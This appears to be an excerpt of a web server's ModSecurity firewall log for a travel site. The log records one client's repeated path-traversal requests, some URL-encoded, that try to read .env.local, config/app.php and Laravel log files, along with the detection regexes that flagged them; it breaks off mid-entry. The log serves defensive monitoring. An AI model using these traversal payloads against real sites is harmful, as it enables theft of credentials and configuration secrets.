[Fri Jul 17 08:55:07.679364 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../storage/logs/laravel.log&token=jgjh0eiw-fo-onm6ib5ofl3ck9owianqwfvznkdirghr_iobng-wodjukqtsoj9ve9repttv05hzgx5wbyvxmvrbunet4-0t86692w_uwa8ulsuvye_3vhjargi4a-maajoah3pjmkzo9rhmvowmb-qdkz5cspuk4khxctvoetbssiznwiffijpiqyfgcdvzrgf5yzbx5kmdhvjktvhttfl6kiezl9_9k9iunqgyigx8aviz3sjdumvzfhlmlzuzu4u6vxsw1snj8widaitmgv-o&anything=5ingfzhvv5reesqfjei63uhjeu2qfh22675ke6sba7mymjyyiy7jc6jetuwzsl7iaiy3jyiv6sqiehjpk7czj3fgsxpvlo4qgkvuz64tuca57cvdsqcsizawuibixxtc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.679400 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.679432 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.681405 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.681637 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.682139 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.689407 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWQAAABs"]
[Fri Jul 17 08:55:07.689478 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWQAAABs"]
[Fri Jul 17 08:55:07.691229 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWQAAABs"]
[Fri Jul 17 08:55:07.691450 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.691897 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBWQAAABs"]
[Fri Jul 17 08:55:07.697830 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaQAAABI"]
[Fri Jul 17 08:55:07.697889 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaQAAABI"]
[Fri Jul 17 08:55:07.697999 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:log: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaQAAABI"]
[Fri Jul 17 08:55:07.699731 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaQAAABI"]
[Fri Jul 17 08:55:07.699902 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.700336 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUaQAAABI"]
[Fri Jul 17 08:55:07.706146 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2Fconfig%2Fapp.php&cb=ukTebM9sFi43gpqzgjewbU3DOM1K5TVyMHS0ei2Axgioyyg7jj8_8JoJ8BIxoKo8TCMGincZ9Jcn5e7bf-QrEcKodRmCchLgQTtcgh9juX84d9nWZnIshu7sApHI0jwyzn8cMfin0XeRQr6xBhfenjVBVhwc0gncqW3CYuMMQhS_pAhthlHjp0GRjwu2R5vOfKuWGjCKBqWXCkpIVOnka11rQK7AiKKxgYGEUf3cKmK0FIC8BOfuTxQLfdH4k8thJRFDZl0NLi-h61VldS8TP1u3&debug=2LVUJ74VYISACUKSIQJAMPCEQEXMY34IV6RIWARL2H3CNH3R5V3KM7F5ZR62Y5RD5RHYR4Z6FE5RKMX4KRXIFUQMTV2VMKIZNZNZH3OWINE65O6IOQZAYBNY6EHQCAKNRZWXW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706218 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706307 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/app.php&cb=ukTebM9sFi43gpqzgjewbU3DOM1K5TVyMHS0ei2Axgioyyg7jj8_8JoJ8BIxoKo8TCMGincZ9Jcn5e7bf-QrEcKodRmCchLgQTtcgh9juX84d9nWZnIshu7sApHI0jwyzn8cMfin0XeRQr6xBhfenjVBVhwc0gncqW3CYuMMQhS_pAhthlHjp0GRjwu2R5vOfKuWGjCKBqWXCkpIVOnka11rQK7AiKKxgYGEUf3cKmK0FIC8BOfuTxQLfdH4k8thJRFDZl0NLi-h61VldS8TP1u3&debug=2LVUJ74VYISACUKSIQJAMPCEQEXMY34IV6RIWARL2H3CNH3R5V3KM7F5ZR62Y5RD5RHYR4Z6FE5RKMX4KRXIFUQMTV2VMKIZNZNZH3OWINE65O6IOQZAYBNY6EHQCAKNRZWXWQDCYBNTM62FJQU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706373 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/app.php&cb=uktebm9sfi43gpqzgjewbu3dom1k5tvymhs0ei2axgioyyg7jj8_8joj8bixoko8tcmgincz9jcn5e7bf-qreckodrmcchlgqttcgh9jux84d9nwznishu7saphi0jwyzn8cmfin0xerqr6xbhfenjvbvhwc0gncqw3cyummqhs_pahthlhjp0grjwu2r5vofkuwgjckbqwxckpivonka11rqk7aikkxgygeuf3ckmk0fic8bofutxqlfdh4k8thjrfdzl0nli-h61vlds8tp1u3&debug=2lvuj74vyisacuksiqjampceqexmy34iv6riwarl2h3cnh3r5v3km7f5zr62y5rd5rhyr4z6fe5rkmx4krxifuqmtv2vmkiznznzh3owine65o6ioqzaybny6ehqcaknrzwxwqdcybntm62fjqu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706412 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706444 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.706530 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:log: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.708264 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.708448 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.708896 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6gAAAABE"]
[Fri Jul 17 08:55:07.714221 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sAAAAAw"]
[Fri Jul 17 08:55:07.714263 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sAAAAAw"]
[Fri Jul 17 08:55:07.714883 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ref=X961pM6AzfjKCBZobyehXB1r167t2r5HONgMwvHigonYDZf-VR-syYzKxpVc6Uk0CLy-3EeYHj03NGBtNdTyJHpATphKvaPf5JDDw9qcbEBdfSyXJqEM_tP4a0cYLKqRyWW0vDWZlONp2ajz8sf5c5uoIv1Ad-Su6487P9KMe31ubKljgRnhUK5VgpZWLrVqNS7CiqWkYq6JpxYfaezFhH36mtRuK2GANWEJIs0vPDD41g8_7QDH_QSG2RUxkKw6nBZaRbHHkM3BNb3wcDj1LTI_&ts=EIDV2XY4XCFY2M44VSJW2R5CIXWIWL4DJDOGIIWWQKPSCWKYYXSPX3Y6M7IHM2RYIS44YGITBITUVWQMDDF3NXXD2QQ7HNGW5XJJKSJE3C23675BXX73TTPUHWR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.714919 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.714984 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../storage/logs/laravel.log&ref=X961pM6AzfjKCBZobyehXB1r167t2r5HONgMwvHigonYDZf-VR-syYzKxpVc6Uk0CLy-3EeYHj03NGBtNdTyJHpATphKvaPf5JDDw9qcbEBdfSyXJqEM_tP4a0cYLKqRyWW0vDWZlONp2ajz8sf5c5uoIv1Ad-Su6487P9KMe31ubKljgRnhUK5VgpZWLrVqNS7CiqWkYq6JpxYfaezFhH36mtRuK2GANWEJIs0vPDD41g8_7QDH_QSG2RUxkKw6nBZaRbHHkM3BNb3wcDj1LTI_&ts=EIDV2XY4XCFY2M44VSJW2R5CIXWIWL4DJDOGIIWWQKPSCWKYYXSPX3Y6M7IHM2RYIS44YGITBITUVWQMDDF3NXXD2QQ7HNGW5XJJKSJE3C23675BXX73TTPUHWRZJEKZNNZDF6HP52G..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag 